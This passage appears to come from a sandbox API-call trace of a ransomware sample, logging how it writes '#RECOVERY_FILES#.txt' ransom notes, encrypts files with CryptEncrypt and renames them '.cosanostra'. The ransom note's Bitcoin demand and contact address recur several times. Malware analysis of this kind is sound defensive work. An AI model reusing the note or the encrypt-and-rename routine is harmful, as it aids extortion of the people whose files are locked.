lpOverlapped=0x0 | out: lpBuffer=0x3013038*, lpNumberOfBytesRead=0x28dfcdc*=0x2800, lpOverlapped=0x0) returned 1 [0084.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.483] WriteFile (in: hFile=0x188, lpBuffer=0x3013038*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfcdc, lpOverlapped=0x0 | out: lpBuffer=0x3013038*, lpNumberOfBytesWritten=0x28dfcdc*=0x2800, lpOverlapped=0x0) returned 1 [0084.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.483] WriteFile (in: hFile=0x188, lpBuffer=0x28dfd1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcdc, lpOverlapped=0x0 | out: lpBuffer=0x28dfd1c*, lpNumberOfBytesWritten=0x28dfcdc*=0x4, lpOverlapped=0x0) returned 1 [0084.569] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcdc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfcdc*=0x30, lpOverlapped=0x0) returned 1 [0084.569] CloseHandle (hObject=0x188) returned 1 [0084.570] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.cosanostra") returned 100 [0084.570] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.cosanostra" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.cosanostra")) returned 1 [0084.571] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.571] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.571] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbb7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd78, lpOverlapped=0x0 | out: lpBuffer=0x28dfbb7*, lpNumberOfBytesWritten=0x28dfd78*=0x1bf, lpOverlapped=0x0) returned 1 [0084.572] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.572] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd78, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd78*=0x2ac, lpOverlapped=0x0) returned 1 [0084.572] CloseHandle (hObject=0x188) returned 1 [0084.572] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd18 | out: pbBuffer=0x28dfd18) returned 1 [0084.572] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfd10*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfd10*=0x30) returned 1 [0084.572] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.574] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 155 [0084.574] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.575] ReadFile (in: hFile=0x188, lpBuffer=0x22dc08, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcd4, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesRead=0x28dfcd4*=0xe0, lpOverlapped=0x0) returned 1 [0084.575] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.575] WriteFile (in: hFile=0x188, lpBuffer=0x22dc08*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x28dfcd4, lpOverlapped=0x0 | out: lpBuffer=0x22dc08*, lpNumberOfBytesWritten=0x28dfcd4*=0xe0, lpOverlapped=0x0) returned 1 [0084.576] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.576] WriteFile (in: hFile=0x188, lpBuffer=0x28dfd14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcd4, lpOverlapped=0x0 | out: lpBuffer=0x28dfd14*, lpNumberOfBytesWritten=0x28dfcd4*=0x4, lpOverlapped=0x0) returned 1 [0084.576] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcd4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfcd4*=0x30, lpOverlapped=0x0) returned 1 [0084.576] CloseHandle (hObject=0x188) returned 1 [0084.576] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.cosanostra") returned 166 [0084.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0084.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.583] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.583] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbaf*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd70, lpOverlapped=0x0 | out: lpBuffer=0x28dfbaf*, lpNumberOfBytesWritten=0x28dfd70*=0x1bf, lpOverlapped=0x0) returned 1 [0084.583] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.583] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd70, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd70*=0x2ac, lpOverlapped=0x0) returned 1 [0084.584] CloseHandle (hObject=0x188) returned 1 [0084.584] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.584] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.584] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbab*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd6c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbab*, lpNumberOfBytesWritten=0x28dfd6c*=0x1bf, lpOverlapped=0x0) returned 1 [0084.585] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.585] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd6c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd6c*=0x2ac, lpOverlapped=0x0) returned 1 [0084.585] CloseHandle (hObject=0x188) returned 1 [0084.585] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd08 | out: pbBuffer=0x28dfd08) returned 1 [0084.585] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfd00*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfd00*=0x30) returned 1 [0084.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.587] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 158 [0084.587] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.587] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcc4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfcc4*=0xd6, lpOverlapped=0x0) returned 1 [0084.588] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.588] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x28dfcc4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfcc4*=0xd6, lpOverlapped=0x0) returned 1 [0084.588] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.588] WriteFile (in: hFile=0x188, lpBuffer=0x28dfd04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcc4, lpOverlapped=0x0 | out: lpBuffer=0x28dfd04*, lpNumberOfBytesWritten=0x28dfcc4*=0x4, lpOverlapped=0x0) returned 1 [0084.588] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcc4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfcc4*=0x30, lpOverlapped=0x0) returned 1 [0084.588] CloseHandle (hObject=0x188) returned 1 [0084.588] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.cosanostra") returned 169 [0084.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.cosanostra")) returned 1 [0084.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.589] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.589] WriteFile (in: hFile=0x188, lpBuffer=0x28dfba3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd64, lpOverlapped=0x0 | out: lpBuffer=0x28dfba3*, lpNumberOfBytesWritten=0x28dfd64*=0x1bf, lpOverlapped=0x0) returned 1 [0084.590] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.590] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd64, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd64*=0x2ac, lpOverlapped=0x0) returned 1 [0084.590] CloseHandle (hObject=0x188) returned 1 [0084.591] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd00 | out: pbBuffer=0x28dfd00) returned 1 [0084.591] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcf8*=0x30) returned 1 [0084.591] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.591] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 158 [0084.591] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.591] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcbc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfcbc*=0xd7, lpOverlapped=0x0) returned 1 [0084.592] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.592] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xd7, lpNumberOfBytesWritten=0x28dfcbc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfcbc*=0xd7, lpOverlapped=0x0) returned 1 [0084.592] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.592] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcbc, lpOverlapped=0x0 | out: lpBuffer=0x28dfcfc*, lpNumberOfBytesWritten=0x28dfcbc*=0x4, lpOverlapped=0x0) returned 1 [0084.592] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcbc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfcbc*=0x30, lpOverlapped=0x0) returned 1 [0084.592] CloseHandle (hObject=0x188) returned 1 [0084.592] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.cosanostra") returned 169 [0084.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.cosanostra")) returned 1 [0084.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.593] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.593] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb9b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd5c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb9b*, lpNumberOfBytesWritten=0x28dfd5c*=0x1bf, lpOverlapped=0x0) returned 1 [0084.594] lstrlenA 